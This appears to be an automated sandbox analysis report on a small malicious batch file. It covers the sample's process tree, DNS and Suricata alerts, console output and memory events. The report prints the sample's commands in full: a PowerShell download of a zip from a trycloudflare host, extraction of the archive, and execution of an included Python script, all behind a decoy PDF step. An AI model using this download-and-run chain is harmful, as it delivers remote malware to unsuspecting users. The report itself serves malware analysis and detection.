Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 30, 2024, 9:23 a.m.	Oct. 30, 2024, 9:26 a.m.

Size	1.0KB
Type	DOS batch file, ASCII text, with CRLF line terminators
MD5	`d0b5238a18abc402b506f608968270dc`
SHA256	`8345915bc2a6aa93b41e5db90d7cf3a24f7bbaea9346723db275be69c9055b56`
CRC32	`2D3FFDC8`
ssdeep	`24:weSMHMrf3iwNyWMrfMbJ0zOkb8OKPCZHm5KvGEKtjsyv0FOw+SMHMrfiiwN/E:+br3iwNKrMlqr4hCZHmIvrmjsyA3dbr7`
Yara	None matched

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "TecnfzvfTRmg" C:\Users\test22\AppData\Local\Temp\man.bat
1932
- cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\man.bat
  2124
  - iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome
    2220
    - iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2220 CREDAT:145409
      2328
  - timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    2416
  - powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://louise-monitors-mo-rating.trycloudflare.com/qfv0ao.zip' -OutFile 'C:\Users\test22\Downloads\qfv0ao.zip' }"
    2512
  - powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\test22\Downloads\qfv0ao.zip' -DestinationPath 'C:\Users\test22\Downloads' -Force }"
    2644
  - python.exe python.exe man.py
    2752
  - timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    2840

Name	Response	Post-Analysis Lookup
louise-monitors-mo-rating.trycloudflare.com		104.16.231.132

IP Address	Status	Action
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.103:50800 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:50800 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:50800 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:50800 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:50800 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:50800 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:50800 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:52760 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:52760 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:52760 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:52760 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:53673 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:53673 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:53673 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:52760 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:52760 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:52760 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:53673 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:53673 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:53673 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
UDP 192.168.56.103:53673 -> 8.8.8.8:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 30, 2024, 9:23 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 30, 2024, 9:23 a.m.			0	0
IsDebuggerPresent Oct. 30, 2024, 9:23 a.m.			0	0

Command line console output was observed (37 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: Opening PDF file... console_handle: 0x00000007	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: Opening PDF file... console_handle: 0x00000007	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: Invalid syntax. Default option is not allowed more than '1' time(s). Type "TIMEOUT /?" for usage. console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: Exception setting "SecurityProtocol": "Cannot convert null to type "System.Net. console_handle: 0x00000023	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: SecurityProtocolType" due to invalid enumeration values. Specify one of the fol console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: lowing enumeration values and try again. The possible enumeration values are "S console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: sl3, Tls"." console_handle: 0x00000047	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: At line:1 char:32 console_handle: 0x00000053	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: + & { [Net.ServicePointManager]:: <<<< SecurityProtocol = [Net.SecurityProtocol console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: Type]::Tls12; Invoke-WebRequest -Uri 'https://louise-monitors-mo-rating.tryclou console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: dflare.com/qfv0ao.zip' -OutFile 'C:\Users\test22\Downloads\qfv0ao.zip' } console_handle: 0x00000077	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: + CategoryInfo : InvalidOperation: (:) [], RuntimeException console_handle: 0x00000083	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: + FullyQualifiedErrorId : PropertyAssignmentException console_handle: 0x0000008f	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio console_handle: 0x000000af	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: n, script file, or operable program. Check the spelling of the name, or if a pa console_handle: 0x000000bb	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: th was included, verify that the path is correct and try again. console_handle: 0x000000c7	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: At line:1 char:103 console_handle: 0x000000d3	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: + & { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]: console_handle: 0x000000df	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: :Tls12; Invoke-WebRequest <<<< -Uri 'https://louise-monitors-mo-rating.tryclou console_handle: 0x000000eb	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: dflare.com/qfv0ao.zip' -OutFile 'C:\Users\test22\Downloads\qfv0ao.zip' } console_handle: 0x000000f7	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C console_handle: 0x00000103	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: ommandNotFoundException console_handle: 0x0000010f	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x0000011b	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: The term 'Expand-Archive' is not recognized as the name of a cmdlet, function, console_handle: 0x00000023	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: script file, or operable program. Check the spelling of the name, or if a path console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: At line:1 char:19 console_handle: 0x00000047	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: + & { Expand-Archive <<<< -Path 'C:\Users\test22\Downloads\qfv0ao.zip' -Destin console_handle: 0x00000053	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: ationPath 'C:\Users\test22\Downloads' -Force } console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Expand-Archive:String) [], Comm console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: andNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 30, 2024, 9:23 a.m.	buffer: Invalid syntax. Default option is not allowed more than '1' time(s). Type "TIMEOUT /?" for usage. console_handle: 0x0000000b	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 94 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b4f10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b54d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b54d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b54d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b4c50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b4c50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b4c50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b4c50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b4c50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b4c50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b54d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b54d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b54d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5750 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5750 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5750 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b50d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5750 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5750 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5750 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5750 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5750 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5750 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5750 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b5950 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b53d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b53d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b53d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b53d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b53d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b53d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b53d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b53d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b53d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b53d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00457428 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 30, 2024, 9:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00457568 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 30, 2024, 9:23 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 358 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 region_size: 4657152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b20000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02f90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7561c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7563c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7561c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7563c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74513000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x745b7000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76af9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75ac2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75602000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2220 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02e70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 region_size: 1839104 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01150000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01310000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7561c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7563c000 process_handle: 0xffffffff	1
